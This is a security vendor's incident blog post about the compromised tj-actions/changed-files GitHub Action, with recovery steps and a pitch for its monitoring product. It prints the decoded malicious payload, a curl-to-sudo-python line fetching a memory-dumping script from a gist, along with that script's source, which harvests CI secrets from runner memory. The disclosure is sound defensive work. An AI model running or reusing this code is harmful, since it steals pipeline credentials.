Back to Blog

Harden-Runner detection: tj-actions/changed-files action is compromised

We are investigating a critical security incident involving the popular tj-actions/changed-files GitHub Action. We want to alert users now so you can take immediate action. This post will be updated as new information becomes available.
Varun Sharma

March 14, 2025

Table of Contents

Introduction

We are actively investigating a critical security incident involving the tj-actions/changed-files GitHub Action. While our investigation is ongoing, we want to alert users so they can take immediate corrective actions. We will keep this post updated as we learn more. StepSecurity Harden-Runner detected this issue through anomaly detection when an unexpected endpoint appeared in the network traffic. If you need any help investigating this issue, please get in touch with us at support@stepsecurity.io

Update 1: It appears that all versions of tj-actions/changed-files are compromised.

Update 2: We have detected multiple public repositories that have leaked secrets in build logs. As these build logs are public, anyone can steal these secrets. If you own public repositories and use this Action, please review the recovery steps immediately.

Summary of the incident


The tj-actions/changed-files GitHub Action, which is currently used in over 23,000 repositories, has been compromised. In this attack, the attackers modified the action’s code and retroactively updated multiple version tags to reference the malicious commit. The compromised Action prints CI/CD secrets in GitHub Actions build logs. If the workflow logs are publicly accessible (such as in public repositories), anyone could potentially read these logs and obtain exposed secrets.

Our Harden-Runner solution flagged this issue when an unexpected endpoint appeared in the workflow’s network traffic. This anomaly was caught by Harden-Runner’s behavior-monitoring capability.

The compromised Action now executes a malicious Python script that dumps CI/CD secrets from the Runner Worker process. Most of the existing Action release tags have been updated to refer to the malicious commit mentioned below. Note: All these tags now point to the same malicious commit hash:0e58ed8671d6b60d0890c21b07f8835ace038e67, indicating the retroactive compromise of multiple versions.”

$ git tag -l | while read -r tag ; do git show --format="$tag: %H" --no-patch $tag ; done | sort -k2
v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67
...
v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67
...
v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67
...
v5: 0e58ed8671d6b60d0890c21b07f8835ace038e67
...

@salolivares has identified the malicious commit that introduces the exploit code in the Action.

https://github.com/tj-actions/changed-files/commit/0e58ed8671d6b60d0890c21b07f8835ace038e67

The base64 encoded string in the above screenshot contains the exploit code. Here is the base64 decoded version of the code.

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

Here is the content of https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py

#!/usr/bin/env python3
...

def get_pid():
    # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
            if b'Runner.Worker' in cmdline_f.read():
                return pid

    raise Exception('Can not get pid of Runner.Worker')

if __name__ == "__main__":
    pid = get_pid()
    print(pid)

    map_path = f"/proc/{pid}/maps"
    mem_path = f"/proc/{pid}/mem"

    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        for line in map_f.readlines():  # for each mapped region
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
            if m.group(3) == 'r':  # readable region
                start = int(m.group(1), 16)
                end = int(m.group(2), 16)
                # hotfix: OverflowError: Python int too large to convert to C long
                # 18446744073699065856
                if start > sys.maxsize:
                    continue
                mem_f.seek(start)  # seek to region start
            
                try:
                    chunk = mem_f.read(end - start)  # read region contents
                    sys.stdout.buffer.write(chunk)
                except OSError:
                    continue

StepSecurity Harden-Runner

StepSecurity Harden-Runner secures CI/CD workflows by controlling network access and monitoring activities on GitHub-hosted and self-hosted runners. The name "Harden-Runner" comes from its purpose: strengthening the security of the runners used in GitHub Actions workflows. Harden-Runner community tier is free for open-source projects. In addition, it offers several enterprise features.

Reproducing the Exploit

When this Action is executed with Harden-Runner, you can see the exploit being executed. We reproduced the exploit in a test repository. When the compromised tj-actions/changed-files action runs, Harden-Runner’s insights clearly show it downloading and executing a malicious Python script that attempts to dump sensitive data from the GitHub Actions runner’s memory. You can see the behavior here:
https://app.stepsecurity.io/github/step-security/github-actions-goat/actions/runs/13866127357


To repro this, you can run the following workflow:

name: "tj-action changed-files incident"

on:
  pull_request:
    branches:
      - main

permissions:
  pull-requests: read

jobs:
  changed_files:
    runs-on: ubuntu-latest
    name: Test changed-files
    steps:
      - name: Harden Runner
        uses: step-security/harden-runner@v2
        with:
          disable-sudo: true
          egress-policy: audit

      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      # Example 1
      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@v35

      - name: List all changed files
        run: |
          for file in ${{ steps.changed-files.outputs.all_changed_files }}; do
            echo "$file was changed"
          done

When this workflow is executed, you can see the malicious behavior through Harden-Runner:

https://app.stepsecurity.io/github/step-security/github-actions-goat/actions/runs/13866127357

When this workflow runs, you can observe the malicious behavior in the Harden-Runner insights page. The compromised Action downloads and executes a malicious Python script, which attempts to dump sensitive data from the Actions Runner process memory.

Recovery Steps

Review GitHub Actions workflow run logs

You should review logs for the recent executions of the Action and see if it's leaking secrets. Below is an example of how leaked secrets appear in build logs.

This step is especially important for public repositories since their logs are publicly accessible.

Review Harden-Runner Findings

You can see if your workflows have called "gist.githubusercontent.com" by visiting "All Destinations" in your StepSecurity dashboard. This feature is available to both community as well as enterprise tiers. If this endpoint shows up in the list, review the workflow runs that called this endpoint.

Review Actions Inventory

🚨 If you are using any versions of the tj-actions/changed-files Action, we strongly recommend you stop using it immediately until the incident is resolved.

You should do a code search across your repositories to discover all instance of the tj-actions/changed-files Action. For example, the following GitHub search URL shows all instances of this Action in the Action GitHub organization:
https://github.com/search?q=org%3Aactions%20tj-actions%2Fchanged-files%20Action&type=code

Please note that this search does not always return the accurate results.

If you are a StepSecurity enterprise customer, you can use the Actions inventory feature to discover all GitHub Actions workflows that are using the malicious Action version.


Next Steps

We have reported this issue to GitHub and opened an issue in the affected repository:
🔗 GitHub Issue #2463

We will continue to monitor the situation and provide updates as more information becomes available.

For real-time security monitoring and proactive anomaly detection in GitHub Actions workflows, consider using Harden-Runner to detect and mitigate such threats.

Blog

Explore Related Posts